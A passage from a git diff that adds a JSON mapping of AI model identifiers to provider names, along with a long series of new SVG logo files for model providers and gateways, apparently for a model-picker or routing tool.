"gpt-image-2": "openai", + "gpt-image-2.5-flare": "openai", + "gpt-image-2.5-sunburst": "openai", + "gpt-oss-120b": "openai", + "gpt-oss-20b": "openai", + "gpt-oss-safeguard-120b": "openai", + "gpt-oss-safeguard-20b": "openai", + "gpt-realtime-2.1": "openai", + "gpt-realtime-whisper": "openai", + "grok-4.1-fast": "xai", + "grok-4.1-fast-reasoning": "xai", + "grok-4.20-0309-non-reasoning": "xai", + "grok-4.20-0309-reasoning": "xai", + "grok-4.20-multi-agent-0309": "xai", + "grok-4.3": "xai", + "grok-4.5": "xai", + "grok-4.6": "xai", + "grok-4.7": "xai", + "grok-build-0.1": "xai", + "grok-imagine-image": "xai", + "grok-imagine-image-2.0": "xai", + "grok-imagine-image-quality": "xai", + "grok-imagine-video": "xai", + "grok-imagine-video-1.5": "xai", + "grok-voice-stt-1.0": "xai", + "grok-voice-tts-1.0": "xai", + "inkling": "thinkingmachines", + "inkling-small": "thinkingmachines", + "inkling:peft:262144": "thinkingmachines", + "jamba-large": "ai21", + "jamba-mini": "ai21", + "kimi-k2-thinking": "moonshotai", + "kimi-k2.5": "moonshotai", + "kimi-k2.6": "moonshotai", + "kimi-k2.7-code": "moonshotai", + "kimi-k2.7-code-highspeed": "moonshotai", + "kimi-k2.8-preview": "moonshotai", + "kimi-k3": "moonshotai", + "labs-devstral-small-2512": "mistral", + "laguna-m.1": "poolside", + "laguna-s-2.1": "poolside", + "laguna-xs-2.1": "poolside", + "laguna-xs.2": "poolside", + "llama-3.1-70b-instruct": "meta", + "llama-3.1-8b-instruct": "meta", + "llama-3.1-nemotron-70b-instruct": "nvidia", + "llama-3.1-nemotron-nano-8b-v1": "nvidia", + "llama-3.1-nemotron-nano-vl-8b-v1": "nvidia", + "llama-3.1-nemotron-safety-guard-8b-v3": "nvidia", + "llama-3.1-nemotron-ultra-253b": "nvidia", + "llama-3.1-nemotron-ultra-253b-v1": "nvidia", + "llama-3.2-11b-vision-instruct": "meta", + "llama-3.2-1b": "meta", + "llama-3.2-1b-instruct": "nvidia", + "llama-3.2-3b": "meta", + "llama-3.2-3b-instruct": "nvidia", + "llama-3.2-90b-vision-instruct": "nvidia", + "llama-3.3-70b-instruct": "meta", + "llama-3.3-nemotron-super-49b-v1": "nvidia", + "llama-3.3-nemotron-super-49b-v1.5": "nvidia", + "llama-3_2-nemoretriever-300m-embed-v1": "nvidia", + "llama-4-maverick-17b-128e-instruct": "nvidia", + "llama-4-maverick-17b-instruct": "meta", + "llama-4-scout-17b-instruct": "meta", + "llama-guard-3-8b": "meta", + "llama-guard-4-12b": "nvidia", + "llama-nemotron-embed-vl-1b-v2": "nvidia", + "llama-nemotron-rerank-vl-1b-v2": "nvidia", + "lyria-3-clip-preview": "google", + "lyria-3-pro-preview": "google", + "magistral-medium-latest": "mistral", + "magistral-small-2506": "mistral", + "magistral-small-2509": "mistral", + "magpie-tts-zeroshot": "nvidia", + "mimo-v2-flash": "xiaomi", + "mimo-v2-omni": "xiaomi", + "mimo-v2-pro": "xiaomi", + "mimo-v2.5": "xiaomi", + "mimo-v2.5-pro": "xiaomi", + "mimo-v2.5-pro-ultraspeed": "xiaomi", + "mimo-v2.6-flash": "xiaomi", + "mimo-v2.6-pro": "xiaomi", + "mimo-v2.6-pro-ultraspeed": "xiaomi", + "minimax-m2": "minimax", + "minimax-m2-her": "minimax", + "minimax-m2.1": "minimax", + "minimax-m2.5": "minimax", + "minimax-m2.5-highspeed": "minimax", + "minimax-m2.7": "minimax", + "minimax-m2.7-highspeed": "minimax", + "minimax-m3": "minimax", + "minimax-m3.1-flash-preview": "minimax", + "ministral-14b": "mistral", + "ministral-14b-instruct-2512": "nvidia", + "ministral-3-14b-instruct-2512": "mistral", + "ministral-3-3b-instruct-2512": "mistral", + "ministral-3-8b-instruct-2512": "mistral", + "ministral-3b": "mistral", + "ministral-3b-latest": "mistral", + "ministral-8b-instruct-2410": "mistral", + "ministral-8b-latest": "mistral", + "mistral-7b-instruct-v0.3": "nvidia", + "mistral-embed": "mistral", + "mistral-large-2411": "mistral", + "mistral-large-2512": "mistral", + "mistral-large-3-675b-instruct-2512": "nvidia", + "mistral-large-latest": "mistral", + "mistral-medium-2505": "mistral", + "mistral-medium-2508": "mistral", + "mistral-medium-2604": "mistral", + "mistral-medium-3-instruct": "nvidia", + "mistral-medium-3.5-128b": "nvidia", + "mistral-medium-latest": "mistral", + "mistral-nemo": "mistral", + "mistral-nemotron": "nvidia", + "mistral-small-2506": "mistral", + "mistral-small-2603": "mistral", + "mistral-small-3-1-24b-instruct-2503": "mistral", + "mistral-small-4-119b-2603": "nvidia", + "mistral-small-latest": "mistral", + "mixtral-8x22b-instruct": "nvidia", + "mixtral-8x7b-instruct": "nvidia", + "muse-glimmer-30b": "meta", + "muse-spark-1.1": "meta", + "muse-spark-1.2": "meta", + "muse-spark-1.2-contributor": "meta", + "muse-spark-1.3": "meta", + "muse-spark-1.3-contributor": "meta", + "nemotron-3-content-safety": "nvidia", + "nemotron-3-nano-30b-a3b": "nvidia", + "nemotron-3-nano-omni-30b-a3b-reasoning": "nvidia", + "nemotron-3-super-120b-a12b": "nvidia", + "nemotron-3-ultra-550b-a55b": "nvidia", + "nemotron-3.5-content-safety": "nvidia", + "nemotron-3.5-lightning": "nvidia", + "nemotron-3.5-lightning-30b-a3b": "nvidia", + "nemotron-cascade-2-30b-a3b": "nvidia", + "nemotron-content-safety-reasoning-4b": "nvidia", + "nemotron-mini-4b-instruct": "nvidia", + "nemotron-nano-12b-v2-vl": "nvidia", + "nemotron-nano-9b-v2": "nvidia", + "nemotron-voicechat": "nvidia", + "north-mini-code-1-0": "cohere", + "nv-embed-v1": "nvidia", + "nv-embedcode-7b-v1": "nvidia", + "nvidia-nemotron-nano-9b-v2": "nvidia", + "o1": "openai", + "o1-pro": "openai", + "o3": "openai", + "o3-mini": "openai", + "o3-pro": "openai", + "o4-mini": "openai", + "open-mistral-7b": "mistral", + "open-mistral-nemo": "mistral", + "open-mixtral-8x22b": "mistral", + "open-mixtral-8x7b": "mistral", + "phi-4-mini-instruct": "nvidia", + "phi-4-multimodal-instruct": "nvidia", + "pixtral-12b": "mistral", + "pixtral-large-2502": "mistral", + "pixtral-large-latest": "mistral", + "qvq-max": "alibaba", + "qwen-flash": "alibaba", + "qwen-image": "nvidia", + "qwen-image-2.1": "alibaba", + "qwen-image-edit": "nvidia", + "qwen-max": "alibaba", + "qwen-mt-plus": "alibaba", + "qwen-mt-turbo": "alibaba", + "qwen-omni-turbo": "alibaba", + "qwen-omni-turbo-realtime": "alibaba", + "qwen-plus": "alibaba", + "qwen-plus-character-ja": "alibaba", + "qwen-turbo": "alibaba", + "qwen-vl-max": "alibaba", + "qwen-vl-ocr": "alibaba", + "qwen-vl-plus": "alibaba", + "qwen2-5-14b-instruct": "alibaba", + "qwen2-5-32b-instruct": "alibaba", + "qwen2-5-72b-instruct": "alibaba", + "qwen2-5-7b-instruct": "alibaba", + "qwen2-5-omni-7b": "alibaba", + "qwen2-5-vl-72b-instruct": "alibaba", + "qwen2-5-vl-7b-instruct": "alibaba", + "qwen2.5-coder-0.5b": "alibaba", + "qwen2.5-coder-32b-instruct": "alibaba", + "qwen3-14b": "alibaba", + "qwen3-235b-a22b": "alibaba", + "qwen3-235b-a22b-instruct-2507": "alibaba", + "qwen3-30b-a3b": "alibaba", + "qwen3-32b": "alibaba", + "qwen3-8b": "alibaba", + "qwen3-asr-flash": "alibaba", + "qwen3-coder-30b-a3b-instruct": "alibaba", + "qwen3-coder-480b-a35b-instruct": "alibaba", + "qwen3-coder-flash": "alibaba", + "qwen3-coder-next": "alibaba", + "qwen3-coder-plus": "alibaba", + "qwen3-livetranslate-flash-realtime": "alibaba", + "qwen3-max": "alibaba", + "qwen3-next-80b-a3b-instruct": "alibaba", + "qwen3-next-80b-a3b-thinking": "alibaba", + "qwen3-omni-flash": "alibaba", + "qwen3-omni-flash-realtime": "alibaba", + "qwen3-vl-235b-a22b": "alibaba", + "qwen3-vl-235b-a22b-instruct": "alibaba", + "qwen3-vl-235b-a22b-thinking": "alibaba", + "qwen3-vl-30b-a3b": "alibaba", + "qwen3-vl-plus": "alibaba", + "qwen3.5-122b-a10b": "alibaba", + "qwen3.5-27b": "alibaba", + "qwen3.5-35b-a3b": "alibaba", + "qwen3.5-397b-a17b": "alibaba", + "qwen3.5-9b": "alibaba", + "qwen3.5-flash": "alibaba", + "qwen3.5-plus": "alibaba", + "qwen3.6-27b": "alibaba", + "qwen3.6-35b-a3b": "alibaba", + "qwen3.6-flash": "alibaba", + "qwen3.6-max-preview": "alibaba", + "qwen3.6-plus": "alibaba", + "qwen3.7-flash": "alibaba", + "qwen3.7-max": "alibaba", + "qwen3.7-plus": "alibaba", + "qwen3.8-2.4t-a95b": "alibaba", + "qwen3.8-27b": "alibaba", + "qwen3.8-flash": "alibaba", + "qwen3.8-flash-next": "alibaba", + "qwen3.8-max": "alibaba", + "qwen3.8-max-0902": "alibaba", + "qwen3.8-max-preview": "alibaba", + "qwen3.8-max-prime": "alibaba", + "qwen3.8-omni-flash": "alibaba", + "qwq-32b": "alibaba", + "qwq-plus": "alibaba", + "rerank-qa-mistral-4b": "nvidia", + "riva-translate-4b-instruct-v1.1": "nvidia", + "sarvam-m": "nvidia", + "seed-oss-36b-instruct": "nvidia", + "solar-10.7b-instruct": "nvidia", + "sonar": "perplexity", + "sonar-deep-research": "perplexity", + "sonar-pro": "perplexity", + "sonar-reasoning-pro": "perplexity", + "sparsedrive": "nvidia", + "step-1-32k": "stepfun", + "step-2-16k": "stepfun", + "step-3.5-flash": "stepfun", + "step-3.5-flash-2603": "stepfun", + "step-3.7-flash": "stepfun", + "step-5-preview": "stepfun", + "step-tts-2": "stepfun", + "stepaudio-2.5-asr": "stepfun", + "stepaudio-2.5-tts": "stepfun", + "streampetr": "nvidia", + "studiovoice": "nvidia", + "synthetic-video-detector": "nvidia", + "text-embedding-3-large": "openai", + "text-embedding-3-small": "openai", + "text-embedding-ada-002": "openai", + "usdcode": "nvidia", + "usdvalidate": "nvidia", + "veo-3.1-fast-generate-preview": "google", + "veo-3.1-generate-preview": "google", + "veo-3.1-lite-generate-preview": "google", + "viv-fast": "vivgrid", + "voxtral-mini-3b-2507": "mistral", + "voxtral-mini-latest": "mistral", + "voxtral-mini-tts-latest": "mistral", + "voxtral-small-24b-2507": "mistral", + "voxtral-small-latest": "mistral", + "whisper-large-v3": "openai", + "whisper-large-v3-turbo": "openai", + "zai-glm-5-2": "mistral", + "zai-glm-5-3": "mistral" + } +} diff --git a/assets/model_logos/cerebras.svg b/assets/model_logos/cerebras.svg new file mode 100644 index 000000000..b16759672 --- /dev/null +++ b/assets/model_logos/cerebras.svg @@ -0,0 +1,4 @@ + + + + diff --git a/assets/model_logos/clarifai.svg b/assets/model_logos/clarifai.svg new file mode 100644 index 000000000..d15444310 --- /dev/null +++ b/assets/model_logos/clarifai.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/claudinio.svg b/assets/model_logos/claudinio.svg new file mode 100644 index 000000000..dec84faec --- /dev/null +++ b/assets/model_logos/claudinio.svg @@ -0,0 +1,19 @@ + + + + + + + + + + + + + + + + + + + diff --git a/assets/model_logos/cloudferro-sherlock.svg b/assets/model_logos/cloudferro-sherlock.svg new file mode 100644 index 000000000..6f09a794e --- /dev/null +++ b/assets/model_logos/cloudferro-sherlock.svg @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/assets/model_logos/cloudflare-ai-gateway.svg b/assets/model_logos/cloudflare-ai-gateway.svg new file mode 100644 index 000000000..02c7e51d3 --- /dev/null +++ b/assets/model_logos/cloudflare-ai-gateway.svg @@ -0,0 +1,4 @@ + + + + diff --git a/assets/model_logos/cloudflare-workers-ai.svg b/assets/model_logos/cloudflare-workers-ai.svg new file mode 100644 index 000000000..02c7e51d3 --- /dev/null +++ b/assets/model_logos/cloudflare-workers-ai.svg @@ -0,0 +1,4 @@ + + + + diff --git a/assets/model_logos/cohere.svg b/assets/model_logos/cohere.svg new file mode 100644 index 000000000..cfeaa6002 --- /dev/null +++ b/assets/model_logos/cohere.svg @@ -0,0 +1,5 @@ + + + + + diff --git a/assets/model_logos/coralbricks.svg b/assets/model_logos/coralbricks.svg new file mode 100644 index 000000000..8101b90a9 --- /dev/null +++ b/assets/model_logos/coralbricks.svg @@ -0,0 +1,6 @@ + + + + + + diff --git a/assets/model_logos/crossmodel.svg b/assets/model_logos/crossmodel.svg new file mode 100644 index 000000000..0de83e195 --- /dev/null +++ b/assets/model_logos/crossmodel.svg @@ -0,0 +1,5 @@ + + + + + diff --git a/assets/model_logos/crusoe.svg b/assets/model_logos/crusoe.svg new file mode 100644 index 000000000..15851f159 --- /dev/null +++ b/assets/model_logos/crusoe.svg @@ -0,0 +1,23 @@ + + + + + + + + + \ No newline at end of file diff --git a/assets/model_logos/daoxe.svg b/assets/model_logos/daoxe.svg new file mode 100644 index 000000000..2a058f4f5 --- /dev/null +++ b/assets/model_logos/daoxe.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/databricks.svg b/assets/model_logos/databricks.svg new file mode 100644 index 000000000..2dce28362 --- /dev/null +++ b/assets/model_logos/databricks.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/deepinfra.svg b/assets/model_logos/deepinfra.svg new file mode 100644 index 000000000..c35ab7183 --- /dev/null +++ b/assets/model_logos/deepinfra.svg @@ -0,0 +1,4 @@ + + + + diff --git a/assets/model_logos/deepseek.svg b/assets/model_logos/deepseek.svg new file mode 100644 index 000000000..5d6efa991 --- /dev/null +++ b/assets/model_logos/deepseek.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/digitalocean.svg b/assets/model_logos/digitalocean.svg new file mode 100644 index 000000000..5be390b9d --- /dev/null +++ b/assets/model_logos/digitalocean.svg @@ -0,0 +1,6 @@ + + + + + + diff --git a/assets/model_logos/dinference.svg b/assets/model_logos/dinference.svg new file mode 100644 index 000000000..e045c96fb --- /dev/null +++ b/assets/model_logos/dinference.svg @@ -0,0 +1 @@ + diff --git a/assets/model_logos/drun.svg b/assets/model_logos/drun.svg new file mode 100644 index 000000000..472dee912 --- /dev/null +++ b/assets/model_logos/drun.svg @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/assets/model_logos/ebcloud.svg b/assets/model_logos/ebcloud.svg new file mode 100644 index 000000000..3ee87f6dd --- /dev/null +++ b/assets/model_logos/ebcloud.svg @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/assets/model_logos/echo.svg b/assets/model_logos/echo.svg new file mode 100644 index 000000000..e0df1d86d --- /dev/null +++ b/assets/model_logos/echo.svg @@ -0,0 +1,7 @@ + + + + + + + diff --git a/assets/model_logos/edenai.svg b/assets/model_logos/edenai.svg new file mode 100644 index 000000000..0e4c5ace6 --- /dev/null +++ b/assets/model_logos/edenai.svg @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/assets/model_logos/empiriolabs.svg b/assets/model_logos/empiriolabs.svg new file mode 100644 index 000000000..dd8a05c07 --- /dev/null +++ b/assets/model_logos/empiriolabs.svg @@ -0,0 +1 @@ + diff --git a/assets/model_logos/evroc.svg b/assets/model_logos/evroc.svg new file mode 100644 index 000000000..23f2af44c --- /dev/null +++ b/assets/model_logos/evroc.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/fastrouter.svg b/assets/model_logos/fastrouter.svg new file mode 100644 index 000000000..ec73dc49c --- /dev/null +++ b/assets/model_logos/fastrouter.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/fireworks-ai.svg b/assets/model_logos/fireworks-ai.svg new file mode 100644 index 000000000..72cc91f09 --- /dev/null +++ b/assets/model_logos/fireworks-ai.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/freemodel.svg b/assets/model_logos/freemodel.svg new file mode 100644 index 000000000..1a1f88818 --- /dev/null +++ b/assets/model_logos/freemodel.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/friendli.svg b/assets/model_logos/friendli.svg new file mode 100644 index 000000000..8acb7632d --- /dev/null +++ b/assets/model_logos/friendli.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/frogbot.svg b/assets/model_logos/frogbot.svg new file mode 100644 index 000000000..4c7cab903 --- /dev/null +++ b/assets/model_logos/frogbot.svg @@ -0,0 +1,36 @@ + + + + + + + + + + diff --git a/assets/model_logos/github-copilot.svg b/assets/model_logos/github-copilot.svg new file mode 100644 index 000000000..2d426f265 --- /dev/null +++ b/assets/model_logos/github-copilot.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/gitlab.svg b/assets/model_logos/gitlab.svg new file mode 100644 index 000000000..eef04ace2 --- /dev/null +++ b/assets/model_logos/gitlab.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/google-vertex-anthropic.svg b/assets/model_logos/google-vertex-anthropic.svg new file mode 100644 index 000000000..fda56b447 --- /dev/null +++ b/assets/model_logos/google-vertex-anthropic.svg @@ -0,0 +1,10 @@ + + + + + + + + + + diff --git a/assets/model_logos/google-vertex.svg b/assets/model_logos/google-vertex.svg new file mode 100644 index 000000000..fda56b447 --- /dev/null +++ b/assets/model_logos/google-vertex.svg @@ -0,0 +1,10 @@ + + + + + + + + + + diff --git a/assets/model_logos/google.svg b/assets/model_logos/google.svg new file mode 100644 index 000000000..4ebfcfd2b --- /dev/null +++ b/assets/model_logos/google.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/greenpt.svg b/assets/model_logos/greenpt.svg new file mode 100644 index 000000000..b74d2a41f --- /dev/null +++ b/assets/model_logos/greenpt.svg @@ -0,0 +1,6 @@ + + + + + + diff --git a/assets/model_logos/groq.svg b/assets/model_logos/groq.svg new file mode 100644 index 000000000..fdd22ed7d --- /dev/null +++ b/assets/model_logos/groq.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/helicone.svg b/assets/model_logos/helicone.svg new file mode 100644 index 000000000..8a4bd43ad --- /dev/null +++ b/assets/model_logos/helicone.svg @@ -0,0 +1,6 @@ + + + + + + diff --git a/assets/model_logos/hetzner.svg b/assets/model_logos/hetzner.svg new file mode 100644 index 000000000..4f3f5929a --- /dev/null +++ b/assets/model_logos/hetzner.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/hpc-ai.svg b/assets/model_logos/hpc-ai.svg new file mode 100644 index 000000000..dc29cfc12 --- /dev/null +++ b/assets/model_logos/hpc-ai.svg @@ -0,0 +1,446 @@ + + + + diff --git a/assets/model_logos/huggingface.svg b/assets/model_logos/huggingface.svg new file mode 100644 index 000000000..4241ff94e --- /dev/null +++ b/assets/model_logos/huggingface.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/hyper.svg b/assets/model_logos/hyper.svg new file mode 100644 index 000000000..cf3ed56d5 --- /dev/null +++ b/assets/model_logos/hyper.svg @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + + + diff --git a/assets/model_logos/iflowcn.svg b/assets/model_logos/iflowcn.svg new file mode 100644 index 000000000..6f35a7d59 --- /dev/null +++ b/assets/model_logos/iflowcn.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/impossibl.svg b/assets/model_logos/impossibl.svg new file mode 100644 index 000000000..b1637c0dc --- /dev/null +++ b/assets/model_logos/impossibl.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/inception.svg b/assets/model_logos/inception.svg new file mode 100644 index 000000000..c8f9d452c --- /dev/null +++ b/assets/model_logos/inception.svg @@ -0,0 +1,14 @@ + + + + + + + + + + + + + + diff --git a/assets/model_logos/inceptron.svg b/assets/model_logos/inceptron.svg new file mode 100644 index 000000000..bc3cb3703 --- /dev/null +++ b/assets/model_logos/inceptron.svg @@ -0,0 +1,14 @@ + + + + + + + + + + + + + + diff --git a/assets/model_logos/inco.svg b/assets/model_logos/inco.svg new file mode 100644 index 000000000..e60b4418f --- /dev/null +++ b/assets/model_logos/inco.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/infer.svg b/assets/model_logos/infer.svg new file mode 100644 index 000000000..514621c54 --- /dev/null +++ b/assets/model_logos/infer.svg @@ -0,0 +1,4 @@ + + + + diff --git a/assets/model_logos/inference.svg b/assets/model_logos/inference.svg new file mode 100644 index 000000000..c17f66574 --- /dev/null +++ b/assets/model_logos/inference.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/inferx.svg b/assets/model_logos/inferx.svg new file mode 100644 index 000000000..60bb5ef4b --- /dev/null +++ b/assets/model_logos/inferx.svg @@ -0,0 +1,5 @@ + + + + + diff --git a/assets/model_logos/infomaniak.svg b/assets/model_logos/infomaniak.svg new file mode 100644 index 000000000..88afbf6df --- /dev/null +++ b/assets/model_logos/infomaniak.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/io-net.svg b/assets/model_logos/io-net.svg new file mode 100644 index 000000000..651e57df8 --- /dev/null +++ b/assets/model_logos/io-net.svg @@ -0,0 +1,5 @@ + + + + + diff --git a/assets/model_logos/iteracompute.svg b/assets/model_logos/iteracompute.svg new file mode 100644 index 000000000..80629f704 --- /dev/null +++ b/assets/model_logos/iteracompute.svg @@ -0,0 +1,7 @@ + + + + + + + diff --git a/assets/model_logos/jalapeno.svg b/assets/model_logos/jalapeno.svg new file mode 100644 index 000000000..f8d56c01e --- /dev/null +++ b/assets/model_logos/jalapeno.svg @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/assets/model_logos/jiekou.svg b/assets/model_logos/jiekou.svg new file mode 100644 index 000000000..7fe6378e5 --- /dev/null +++ b/assets/model_logos/jiekou.svg @@ -0,0 +1,4 @@ + + + + diff --git a/assets/model_logos/kenari.svg b/assets/model_logos/kenari.svg new file mode 100644 index 000000000..59cf4f52b --- /dev/null +++ b/assets/model_logos/kenari.svg @@ -0,0 +1,4 @@ + + k + + \ No newline at end of file diff --git a/assets/model_logos/kilo.svg b/assets/model_logos/kilo.svg new file mode 100644 index 000000000..0a761347a --- /dev/null +++ b/assets/model_logos/kilo.svg @@ -0,0 +1,4 @@ + + + + diff --git a/assets/model_logos/kimi-code-plan-cn.svg b/assets/model_logos/kimi-code-plan-cn.svg new file mode 100644 index 000000000..8f2af02e6 --- /dev/null +++ b/assets/model_logos/kimi-code-plan-cn.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/kimi-code-plan-global.svg b/assets/model_logos/kimi-code-plan-global.svg new file mode 100644 index 000000000..d41029890 --- /dev/null +++ b/assets/model_logos/kimi-code-plan-global.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/klokintegration.svg b/assets/model_logos/klokintegration.svg new file mode 100644 index 000000000..c488f56b4 --- /dev/null +++ b/assets/model_logos/klokintegration.svg @@ -0,0 +1,11 @@ + + + + + + + + + + + diff --git a/assets/model_logos/kosmik.svg b/assets/model_logos/kosmik.svg new file mode 100644 index 000000000..cd3e9b897 --- /dev/null +++ b/assets/model_logos/kosmik.svg @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/assets/model_logos/kuae-cloud-coding-plan.svg b/assets/model_logos/kuae-cloud-coding-plan.svg new file mode 100644 index 000000000..3d0d0c455 --- /dev/null +++ b/assets/model_logos/kuae-cloud-coding-plan.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/lilac.svg b/assets/model_logos/lilac.svg new file mode 100644 index 000000000..81dc3a6d0 --- /dev/null +++ b/assets/model_logos/lilac.svg @@ -0,0 +1,6 @@ + + + + + + diff --git a/assets/model_logos/llama.svg b/assets/model_logos/llama.svg new file mode 100644 index 000000000..3053b251f --- /dev/null +++ b/assets/model_logos/llama.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/llmgateway-providers.svg b/assets/model_logos/llmgateway-providers.svg new file mode 100644 index 000000000..bfa0a3447 --- /dev/null +++ b/assets/model_logos/llmgateway-providers.svg @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/assets/model_logos/llmgateway.svg b/assets/model_logos/llmgateway.svg new file mode 100644 index 000000000..4bda1089f --- /dev/null +++ b/assets/model_logos/llmgateway.svg @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/assets/model_logos/llmtech.svg b/assets/model_logos/llmtech.svg new file mode 100644 index 000000000..5eaf78655 --- /dev/null +++ b/assets/model_logos/llmtech.svg @@ -0,0 +1,6 @@ + + + + + + diff --git a/assets/model_logos/llmtr.svg b/assets/model_logos/llmtr.svg new file mode 100644 index 000000000..bfa5ba4ba --- /dev/null +++ b/assets/model_logos/llmtr.svg @@ -0,0 +1,12 @@ + + LLMTR + + + diff --git a/assets/model_logos/lmstudio.svg b/assets/model_logos/lmstudio.svg new file mode 100644 index 000000000..bef02e80c --- /dev/null +++ b/assets/model_logos/lmstudio.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/longcat.svg b/assets/model_logos/longcat.svg new file mode 100644 index 000000000..ba0137eb2 --- /dev/null +++ b/assets/model_logos/longcat.svg @@ -0,0 +1,6 @@ + + + + + + diff --git a/assets/model_logos/lucidquery.svg b/assets/model_logos/lucidquery.svg new file mode 100644 index 000000000..6420a042e --- /dev/null +++ b/assets/model_logos/lucidquery.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/lynkr.svg b/assets/model_logos/lynkr.svg new file mode 100644 index 000000000..f953b7991 --- /dev/null +++ b/assets/model_logos/lynkr.svg @@ -0,0 +1 @@ + diff --git a/assets/model_logos/meganova.svg b/assets/model_logos/meganova.svg new file mode 100644 index 000000000..59e8b3a1f --- /dev/null +++ b/assets/model_logos/meganova.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/melious.svg b/assets/model_logos/melious.svg new file mode 100644 index 000000000..a2ff32680 --- /dev/null +++ b/assets/model_logos/melious.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/merge-gateway.svg b/assets/model_logos/merge-gateway.svg new file mode 100644 index 000000000..a219b55bf --- /dev/null +++ b/assets/model_logos/merge-gateway.svg @@ -0,0 +1,4 @@ + + + + diff --git a/assets/model_logos/meta.svg b/assets/model_logos/meta.svg new file mode 100644 index 000000000..3053b251f --- /dev/null +++ b/assets/model_logos/meta.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/minimax-cn-coding-plan.svg b/assets/model_logos/minimax-cn-coding-plan.svg new file mode 100644 index 000000000..44c5eec21 --- /dev/null +++ b/assets/model_logos/minimax-cn-coding-plan.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/minimax-cn.svg b/assets/model_logos/minimax-cn.svg new file mode 100644 index 000000000..44c5eec21 --- /dev/null +++ b/assets/model_logos/minimax-cn.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/minimax-coding-plan.svg b/assets/model_logos/minimax-coding-plan.svg new file mode 100644 index 000000000..44c5eec21 --- /dev/null +++ b/assets/model_logos/minimax-coding-plan.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/minimax.svg b/assets/model_logos/minimax.svg new file mode 100644 index 000000000..44c5eec21 --- /dev/null +++ b/assets/model_logos/minimax.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/mistral.svg b/assets/model_logos/mistral.svg new file mode 100644 index 000000000..966e474bc --- /dev/null +++ b/assets/model_logos/mistral.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/mixlayer.svg b/assets/model_logos/mixlayer.svg new file mode 100644 index 000000000..9f271c5c6 --- /dev/null +++ b/assets/model_logos/mixlayer.svg @@ -0,0 +1,9 @@ + + + + + + \ No newline at end of file diff --git a/assets/model_logos/moark.svg b/assets/model_logos/moark.svg new file mode 100644 index 000000000..dc84a9191 --- /dev/null +++ b/assets/model_logos/moark.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/modal.svg b/assets/model_logos/modal.svg new file mode 100644 index 000000000..94837b304 --- /dev/null +++ b/assets/model_logos/modal.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/model-oracle-ai.svg b/assets/model_logos/model-oracle-ai.svg new file mode 100644 index 000000000..932ca1b88 --- /dev/null +++ b/assets/model_logos/model-oracle-ai.svg @@ -0,0 +1,11 @@ + + + + + + + + + + + diff --git a/assets/model_logos/modelis.svg b/assets/model_logos/modelis.svg new file mode 100644 index 000000000..baa8396ff --- /dev/null +++ b/assets/model_logos/modelis.svg @@ -0,0 +1 @@ + diff --git a/assets/model_logos/modelscope.svg b/assets/model_logos/modelscope.svg new file mode 100644 index 000000000..94a894a55 --- /dev/null +++ b/assets/model_logos/modelscope.svg @@ -0,0 +1,5 @@ + + + + + diff --git a/assets/model_logos/moonshotai-cn.svg b/assets/model_logos/moonshotai-cn.svg new file mode 100644 index 000000000..3cdf7c868 --- /dev/null +++ b/assets/model_logos/moonshotai-cn.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/moonshotai.svg b/assets/model_logos/moonshotai.svg new file mode 100644 index 000000000..3cdf7c868 --- /dev/null +++ b/assets/model_logos/moonshotai.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/nan.svg b/assets/model_logos/nan.svg new file mode 100644 index 000000000..04bead3f0 --- /dev/null +++ b/assets/model_logos/nan.svg @@ -0,0 +1 @@ + diff --git a/assets/model_logos/nano-gpt.svg b/assets/model_logos/nano-gpt.svg new file mode 100644 index 000000000..f7fbb4cdc --- /dev/null +++ b/assets/model_logos/nano-gpt.svg @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git 